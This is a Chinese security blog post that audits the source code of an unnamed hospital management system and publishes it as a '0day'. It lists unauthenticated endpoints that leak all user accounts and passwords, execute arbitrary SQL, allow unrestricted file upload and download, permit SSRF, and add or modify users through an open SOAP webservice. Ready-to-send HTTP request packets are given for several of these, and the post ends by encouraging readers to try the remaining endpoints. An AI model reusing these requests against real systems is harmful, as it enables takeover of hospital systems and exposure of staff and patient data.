0day | 某医院系统审计

admin 2024年1月6日13:03:31评论80 views字数 4721阅读15分44秒阅读模式


免责声明:

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,小黑说安全及文章作者不为此承担任何责任。

拿到wbb代码

查看一番后 代码的接口包含了 spring-mvc框架的接口 和Servlet接口

还看到了webService

三类接口

0day | 某医院系统审计

0day | 某医院系统审计

0day | 某医院系统审计

spring-mvc exclude

拿到之后去看一下spring-mvc exclude的接口

这些接口都是没有建立权限的

继续往下面走 看他写的controller

0day | 某医院系统审计

这下面的接口应该是老版本存在的问题

0day | 某医院系统审计

controller

这里随便找到一个接口开始看

继承了BaseController 点进去查看

0day | 某医院系统审计

BaseController

这里使用getPageData方法去获取用户的SeesionUser 去判断用户的权限

使用了 BaseController里面的getPageData方法都是建立了权限的

0day | 某医院系统审计

pd.getString

继续走发现有pd.getString方法进入函数发现

这里就是去获取穿过来的参数 key 就是参数名字

0day | 某医院系统审计

0day | 某医院系统审计

前面看的差不多了 现在来看这套代码出现的问题

Weixin

前面看spring-mvc exlude    Weinxin 的接口比较多

这边发现Weixin重新写了一个WeixinBaseController

WeixinBaseController

改了权限的方式

0day | 某医院系统审计

0day | 某医院系统审计

出现问题的第一个接口

/weixin/resource/loadUserByKeyword
信息泄露
/weixin/resource/loadUserByKeyword

0day | 某医院系统审计

这里需要keyword 这个参数 就出现了账户密码的泄露 直接去搜索的

这里进入Mapper 去查看listUsers 查了那些信息

发现是这个Mapper id

会搜索出全部的账户信息

0day | 某医院系统审计

0day | 某医院系统审计

POST /weixin/resource/loadUserByKeyword HTTP/1.1
Host: xxxxxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=7ACDF4B9C29197DF3782CE603C3E13A4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

keyword=12

0day | 某医院系统审计

/weixin/jssdk/loadsdkconfig
信息泄露
/weixin/jssdk/loadsdkconfig

0day | 某医院系统审计

获取微信SDK信息

根据代码来看 不会进入if

url请求为当前地址

0day | 某医院系统审计

GET //weixin/jssdk/loadsdkconfig?url=xxxxxx HTTP/1.1
Host: xxxxxxxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=76D8A1EB12D7820972AD3FF8EB7CB802
Connection: close

0day | 某医院系统审计

weixin/index
weixin/index

拿到之后可以直接通过这里登录后台

0day | 某医院系统审计

后台其他接口

sqledit/executeQuery
SQL注入
sqledit/executeQuery?sql=xxxx

直接执行SQL语句

0day | 某医院系统审计

0day | 某医院系统审计

0day | 某医院系统审计

pictures/save
文件上传
pictures/save

获取后缀 然后copyFile 没有对文件做校验

0day | 某医院系统审计

0day | 某医院系统审计

0day | 某医院系统审计

pictures/getImagePath
SSRF
pictures/getImagePath

0day | 某医院系统审计

getImagePathList  正则
然后去做HTTP请求

0day | 某医院系统审计

getHtmlPicture

0day | 某医院系统审计

attachment/portal/uploadFilePaste
文件上传
attachment/portal/uploadFilePaste?type=0

这里对后缀也没有校验

0day | 某医院系统审计

0day | 某医院系统审计

attachment/downLoadFile
文件下载
attachment/downLoadFile?url=xxxx&fname=/x/x

这里传入两个参数走fileDownload

0day | 某医院系统审计

0day | 某医院系统审计

webservice

之前也说了 webservice

这里就去看看webservice

WsServiceImpl

0day | 某医院系统审计

url接口

/webService/services

0day | 某医院系统审计

这里去看看

webService/services?wsdl

这些接口都是有问题的

adduser

0day | 某医院系统审计

给出数据包

POST /webService/services HTTP/1.1
Host: xxxxxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
xxxxxxx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=792AFFE7FCF4DFA61D32DC39EC57E222
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 788

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tns="tns:ws">
<soapenv:Header/>
<soapenv:Body>
<tns:adduser>
<!--Optional:-->
<username>?</username>
<!--Optional:-->
<name>?</name>
<!--Optional:-->
<roleId>?</roleId>
<!--Optional:-->
<deptCode>?</deptCode>
<!--Optional:-->
<password>?</password>
<!--Optional:-->
<phone>?</phone>
<!--Optional:-->
<userId>?</userId>
<!--Optional:-->
<email>?</email>
<!--Optional:-->
<pyCode>?</pyCode>
<!--Optional:-->
<deptMdId>?</deptMdId>
</tns:adduser>
</soapenv:Body>
</soapenv:Envelope>
updateuser
POST /webService/services HTTP/1.1
Host: xxxxxxxxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: xxxxxxxxx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=792AFFE7FCF4DFA61D32DC39EC57E222
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 788

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tns="tns:ws">
<soapenv:Header/>
<soapenv:Body>
<tns:updateuser>
<!--Optional:-->
<username>?</username>
<!--Optional:-->
<name>?</name>
<!--Optional:-->
<roleId>?</roleId>
<!--Optional:-->
<deptCode>?</deptCode>
<!--Optional:-->
<password>?</password>
<!--Optional:-->
<phone>?</phone>
<!--Optional:-->
<userId>?</userId>
<!--Optional:-->
<email>?</email>
<!--Optional:-->
<pyCode>?</pyCode>
<!--Optional:-->
<deptMdId>?</deptMdId>
</tns:updateuser>
</soapenv:Body>
</soapenv:Envelope>

最后

很多接口没有去尝试 可以自己去尝试  如果有问题大佬们自己看看代码~~

原文始发于微信公众号(小黑说安全):0day | 某医院系统审计

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月6日13:03:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   0day | 某医院系统审计https://cn-sec.com/archives/2363544.html

发表评论

匿名网友 填写信息